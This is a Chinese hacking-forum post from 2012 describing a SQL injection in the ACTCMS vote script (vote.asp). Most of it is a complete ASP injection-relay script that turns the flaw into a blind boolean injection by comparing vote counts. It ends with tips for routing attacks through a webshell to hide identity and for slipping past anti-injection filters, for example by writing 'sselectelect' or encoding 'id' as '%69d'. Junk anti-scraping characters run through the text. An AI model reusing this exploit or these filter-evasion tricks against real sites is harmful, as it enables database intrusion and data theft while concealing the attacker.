找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2043|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
( l( O8 [9 d6 g7 A
看到ninty大牛的blog的一篇文章9 o7 N" ^6 _7 n' J  Z8 M) H! M# y
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
) o! `1 C$ o% R关于actcms漏洞的利用  by 3x qq:381862589
/ b# y4 W" _3 u- d+ Q* Z转载请注明以上
, H$ H7 e4 `& ?  ~漏洞文件:, Q+ U2 v' B# U/ a% P6 g5 U
/plus/vote/vote.asp' d4 v$ o# N% Y5 J* |
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
( e5 _/ x& }8 G! s& L; ^& m4 g7 _2 k$ m. I
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   5 i) S! {0 r( }; f2 ?, w

+ K2 Y% ?; b% }7 ?# C/ M3    response.end   
, N! ^3 w" ~1 X8 k. d1 X4 ]! `+ M% ^5 l0 ]$ @
4    end if    3 G6 f% p7 l. \" ]- }  }

4 s& g2 g  e, t: ]1 O- C$ b! P/ Y5    for i=1 to request("voted").count   
0 I, r7 o( t" |9 F9 S
% r! ~& y- z: I' f. g' |6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    % |" H  Z: ]+ O3 W8 }) U- _

. |2 g: m) \: N$ L) h7    next    7 P/ m5 N0 i5 K1 h4 K# J! {% D

4 S9 o6 W4 _" D6 ^" I& M  E8....    / k4 W4 `$ j8 B* d$ T7 o
$ r8 _. u: C4 G) Y8 A/ k
9response.Redirect "index.asp?id="&id&""   4 A9 D" U* W: g( F" D
投票结束回跳转回index.asp这个投票结果页面
5 i9 o. O8 n2 J, y# G1 }如果投票成功票数加1
+ D# u4 G! |, ^7 n' U1 ~            失败票数不变1 \8 y# P- j4 T/ ~" Z8 F
如图:
5 @, u& I+ R; B  a0 [  {; Q' J3 n/ Lhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
# B* I$ Z9 C$ g/ @/ F( K* |/ [) \( w: [/ ~
2009-12-27 13:209 @2 d  n, v, s' z

7 f+ M6 C" a: A7 n% c利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
: g! y8 @- N  \  @! c4 m2 g  @  e# b. N; a0 `3 j
本帖隐藏的内容需要回复才可以浏览
! q0 S$ L; m! N; N* _我们用注入中转来实现这个注入具体代码如下:: V3 f: @1 E6 d$ X2 e2 Y
先用寂寞的刺猬大牛的注入中转生成jmget.asp+ B; g, s, H0 B5 ^
注入地址:http://localhost/actcms/plus/vote/vote.asp
9 g7 b1 {, s% P注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项* t# W/ h5 u4 M  g0 J: A) I1 b
& O3 `: K: j% _
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
6 g. H5 W- Z* b# ~* o2 i+ u7 M3 d& s& q+ y  w1 m
02JmdcwName=request("jmdcw")
- d8 c# b8 N  A
, D' k. r" u8 t# {& T03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 7 B+ [! H4 N. \/ P5 @' W: S" a1 i' Z

  U, \$ v2 L3 w# r* Q3 r04JmStr="id=1&voted=-1 or 1="&JmdcwName * M2 l3 v3 u& B( n- i) u
+ C/ n! M& y' P& D0 i& W
05JmStr=URLEncoding(JmStr) 7 w- }0 B8 J0 C. t
, I. ~2 T( n6 @, i) l6 G, ?; J
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"- J7 \4 x# H4 V/ {4 I/ C: T& e# g

, Z$ x- j+ @# h8 x- o* Y07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
, \' ]9 w+ Y8 T+ }& t6 U+ W* v4 U1 x- c/ I7 p
08testurl=testurl & "?" & JmStr
; [1 C; G8 y  s) G5 y
' @- _1 O; E9 \  p1 C09JMUrl=JMUrl & "?" & JmStr * X# {  Y" F& E3 V2 x, u! `

, F4 _+ p' h* k. d. O# }$ ~+ P5 B10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
; Q$ X, K4 g! R# f" @, c* x4 }1 n* p  _6 k/ x8 p7 h1 T
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 h* V% M' L" p* s4 n  x
! N* J. d& g, ?12JmCok=replace(JmCok,chr(32),"%20")  " H3 |( W) u+ f6 T) i5 G2 l9 }' N
! d. X* W% y2 h4 A
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
' I' I, M# R& ]" C
+ F- h; r4 E7 j3 ?, c- p7 m14  
# p$ W) ^6 w! e) \. k: a8 z' ]7 D9 y* x
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 . o) Y; Y& @# b

2 r6 L0 a" F; n! a0 Y# Q4 Y& `16  5 Z7 ]- k6 S0 o- c. a& c) D
+ O  U1 O6 |( l8 w( R! [% v& g; E8 k
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ m: u( A4 z4 N& X6 @( ?  m- m8 \4 Q+ S+ K+ R. m$ m
18response.write test1&""&test2&""5 Q. b: I; {+ {7 z: D0 _0 y2 H

% Z' ^5 ~9 O* ^19  
( U8 R/ g; H1 L, J# A  Z  k7 S
/ A: ^, ?; a+ Q) t2 z& E20if test1=test2 then '如前后记录相等,表示失败 3 o  e7 r. }$ Q3 _0 W( a$ Y
3 t; u) z8 S" b2 r4 [8 S5 l+ [
21  response.write "failed"7 s% B7 @0 w1 x) B1 w, S  j

$ |4 ~8 H1 B; q3 r3 w22else
  }4 k- P; J( G  p
9 s( I" v9 l1 W1 ^9 E: J23  response.write "succeed"
) s- j! F. i. e6 r+ j9 e# P
& w  [4 W6 X# z) J' \5 w, x# G$ R% {24end if  3 c; ]6 ]1 A- x. C( n

8 v7 l5 a5 o2 v) F  g2 D8 P25  ' U5 R" s0 ^1 w0 U1 h! }8 v
2 d" O9 T0 `& v! b* ^3 y
26response.write "by 3x", |; y# B8 X: O( e
; Y- f& }4 B; p7 }) V) ?* `
27  
4 `$ ^' a& z9 p$ c! X0 _. C5 Q& H; Z! I& I
28  
' i; {. E/ P, z: F9 S# t9 q, k. s; d2 n, |
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   ) n. S+ |: a$ b! [8 ~7 c% \
0 q) ?. H; U; H% @# G- f% f
30Dim Http 7 R. }2 z. `2 o. N+ \
" S* c% X7 @+ y" X8 l
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")   A* z: [/ \+ I( `

% D7 `* C6 ]9 |, E5 g32With Http 0 x2 O- F& d( s8 @$ @8 D8 O: b: ~

' G5 ?+ y; m8 J, {% |$ ?" D33  
0 v4 R1 r% R& J
- W  ~0 w$ ]% w/ ~7 h; v8 R1 m34.Open "GET",PostUrl,False
# ?6 p+ _6 k9 M
3 n  o' X% K  f( Q' Y3 A+ t4 I35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
" h) F0 e6 O6 f' B' f
# r# K0 E7 {! d3 N8 k5 B; Y, `. y36.SetRequestHeader "Referer",PostRef
" C$ p& U6 h0 W- p% w1 m
$ t- T( J1 f: a. E8 _; e* O37.SetRequestHeader "Cookie",PostCok
. o1 t* F( J! C5 h" z/ P3 O* ^& X
38.Send ()
8 v+ v3 h9 M+ L) d& b5 W/ h
6 V6 L0 G2 p0 n39PostData = .ResponseBody : `0 {- j& `3 e$ @

" \' e, S5 c. l, q3 i  t40End With
8 ~, _& a6 ?; o7 ~3 |8 ?' N, d: o1 U( |: o" g2 n" B& P3 P
41Set Http = Nothing" o) e) |/ ^6 r4 T

1 e/ a+ B) _9 ]6 o% U; _* ~42PostData =bytes2BSTR(PostData)
5 S+ e, r% {) p
+ J9 A, p8 C) t5 P. K43End Function
. r% P9 R6 _6 `9 U2 i! z! c7 x. e* Y: X% c( j
44  
6 p7 B& a2 K* t  b8 S2 ?* t# e. o/ X# u+ x5 h+ E2 a6 o
45  
- N/ {; r' }2 J( y) Y4 l" H* Y$ r. e4 X
46Function bytes2BSTR(vIn)
1 c8 K* `: E) G+ J0 e* M3 y4 P6 I
47Dim strReturn ' J6 K  I4 x% l

4 R9 z" t4 R8 R48Dim I, ThisCharCode, NextCharCode
0 C, x. u3 a9 q  \% z* a' U
) ?& r- c5 r5 S' s* C3 _; I" h49strReturn = ""
. Q8 b1 g3 f3 [4 {1 S+ f- j' R  E6 a8 y
50For I = 1 To LenB(vIn)
& h5 P* A( h' j& v# N2 P2 X- Z, P9 v% i/ i: ?/ {
51ThisCharCode = AscB(MidB(vIn, I, 1))
& D4 J2 u. s4 z4 X) W9 c) C  X; O4 ?# {  {
52If ThisCharCode < &H80 Then
. V6 G; T+ O( Z* @0 F
: P6 a2 p! S3 p9 [( M53strReturn = strReturn & Chr(ThisCharCode)
4 Z/ N' O# h7 s9 Y8 @* o& S! f1 {! V
54Else
* M& s0 f1 s) d: B8 D
3 w9 L6 V" T) d. T55NextCharCode = AscB(MidB(vIn, I + 1, 1))
3 Z8 B0 x3 D7 M. _; q- j" O# w
( a5 o% x9 V# N  w( V. M; y56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) O3 s, [* Y& E: @8 d4 _2 O& R0 A% X& _& I5 {2 K+ v! D* u
57I = I + 1
  O6 k9 ~) N' R  T
) a& @( K; |5 v5 U; R$ Q7 J8 N8 i2 z1 \58End If6 V. D& O# T) h# m

5 w5 ]* R6 T3 t' ~, e% M/ Y59Next
# e) a" R4 D) S
: |1 v+ r6 W4 d* p1 x* m60bytes2BSTR = strReturn
' s9 }* B4 H* {; o% s( ^6 [) [! T' Q& [# m0 i
61End Function. o( m! C% d) X3 B: ?5 _; O. T

$ Y1 d* y% Q# w3 Q62  8 |* \/ p7 p. U+ z; j# _  b
' Z* \, v( p2 }, U& q7 f" F
63Function URLEncoding(vstrin)    B5 T) ~9 o. h+ e" [  }
- E4 k$ v% [# Q3 F+ J( f: }9 V2 F
64strReturn=""0 ?6 J5 M! h2 C, O% G1 a

) }' _# w# Q: Q, w) D65Dim i ) E1 W; O# q1 o+ x% T

; m, [+ r  J) P4 I2 J* a# ~2 N7 x9 y66For i=1 To Len(vstrin)
. N8 P& f# v( ]6 R: N
' C5 j/ c2 g3 B" g$ S/ N( G67ThisChr=Mid(vstrin,i,1)
% S8 t" Q8 X+ x" `/ n5 E) a% r2 G5 N
68if Abs(Asc(ThisChr))< &HFF Then
$ b' N) K9 G3 d& E( b. A9 _( g
! B0 ^9 y. X# u+ R" h, j* c6 c69strReturn=strReturn & ThisChr
; g( i: r9 o& r0 B2 D3 e7 _* ^9 ^! h* \
70Else
2 L- V9 c0 U% S  X$ i% L$ z: l9 m. A  C  `. B  c: T- a6 _
71InnerCode=Asc(ThisChr)
( L1 l( o0 i/ c. z3 D" Z1 V6 K2 X# C3 ]4 Q* K4 a. J$ f+ m; w( ~- G* P
72If InnerCode<0 Then
* h: W9 s% |; f+ t' \+ G$ X3 ^. R4 M
73InnerCode=InnerCode + &H10000
$ F& D) _9 p3 M- F5 n) n/ F$ }6 h# F9 t2 K( f4 R1 ^
74End If
* S1 r$ e) W- j- \
1 U: V5 {' J2 R7 Q75Hight1=(InnerCode And &HFF00) \&HFF 1 l" ^% W) V8 `: n, W. Q$ ?# b
# F& [! |' H) \
76Low1=InnerCode And &HFF
0 i  |2 t* \( y& u, p  K+ m/ r1 B  y# E7 c/ a$ G3 |' w
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 h& T5 e  @, R4 _# O
8 W# k. ?: m# L
78End if
8 i, C2 Z1 u1 F# P) ?4 R
. C- `4 g8 ^& j# A$ j; l79Next
) M' k" h# `8 H6 a7 r' q
1 L6 j# l. `, }- n4 L3 c) T4 N80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 6 X0 }7 z% K0 |( x

6 Q3 G  D2 Q9 R" s( q0 m81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 $ ~+ |8 C% ^4 B+ d- h

" \) L: l3 G" g82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 6 t9 |: s% H' E) `
! N% v- `. l# C" [  |  }0 C6 w; i
83URLEncoding=strReturn , F; z4 d; [/ u6 ]; @

  m9 \% S+ T0 F. T$ \84End Function8 T' u$ ]* H* F5 ?7 H' V
' A) [9 g# ?$ b  @, n" E
85  4 D6 v, e: u: ]% a" N* _+ H- B" f2 u

' E! o5 b* ^/ J0 ~86function getSt(body)
+ X* v1 Y! r3 g5 a% o
% ~# M; a, h' o87  startpot=instr(body,"投票人数:")+len("投票人数:") % F6 t% a/ `  }; m$ ]
. y# l* |0 e6 `
88  endpot=instr(startpot,body," ") 3 o( T  w$ d* O( J: f+ I
4 j! G$ x5 T3 ]+ K" G
89  getSt=mid(body,startpot,endpot-startpot)   ?8 v) k9 A" P" y8 t: O' K
+ E" S  X/ ~; m% p" F$ m
90end function
# ]5 K3 l8 Z9 {" j0 Q6 x5 T7 V) _  G* b+ [5 d8 {4 L
91%>
% [# _) \2 B/ A+ r# C注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
0 G" u" D$ E$ x; M4 L# m1 `* h! T测试下效果:
! E4 a+ G3 u) t& v) n1 r: o投票成功:- {& L# N% i/ a+ Y: e
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
# D) m6 h2 |* C; _* f
" O2 v# P0 r0 x9 ^  W! u% Y2009-12-27 13:291 b% m) n! g+ X5 x; \
投票失败) i; n( I# O2 T: [% C" i
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; q1 x2 ~# I- V/ p/ m5 m
6 y. l' i/ V" }2009-12-27 13:29
4 W7 f6 d$ i1 r* o' i+ D-------------------------------------------------------------------------------7 |% Q3 o5 d* [1 A( Q
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
" S' g' Z* O4 ]2 ?+ E) e6 b8 V很抱歉。。。只能用单线程工具去注入。。。。。; N; L( g0 G' \; b! i
所以失败。。。不好意思。。。* b) Q2 {, W" F
-------------------------------------------------------------------------------
" g2 v0 \7 T% }. L- ?+ V( [) C  F$ t3 ^% v
注入中转的一些其他应用
+ h$ W  A7 E5 [5 u4 Y其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
; [5 A% ~$ v8 `  ~; h1 N1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
% U( q) a/ R0 D9 G9 s. ~/ d3 A2.post注入转成get型的注入,方便我们使用工具来跑
- w) M4 o$ ^# z5 T8 q  {+ l3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09"), O3 `; s' K  W& s6 d/ ~0 \+ O5 [( V
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
5 c8 a, S' i5 y) R# C, O( {: E. W# u5 y& n* x) M- L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表